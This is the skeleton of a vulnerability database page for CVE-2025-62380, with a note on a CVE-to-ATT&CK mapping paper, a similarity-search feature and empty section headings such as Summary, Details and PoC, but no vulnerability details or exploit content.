The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-62380 (GCVE-0-2025-62380)

FKIE_CVE-2025-62380

GHSA-Q4W9-X3RV-4C8J

Summary

Details

PoC

Impact

Credits

Tags

Sightings

Nomenclature

Related by attack behaviour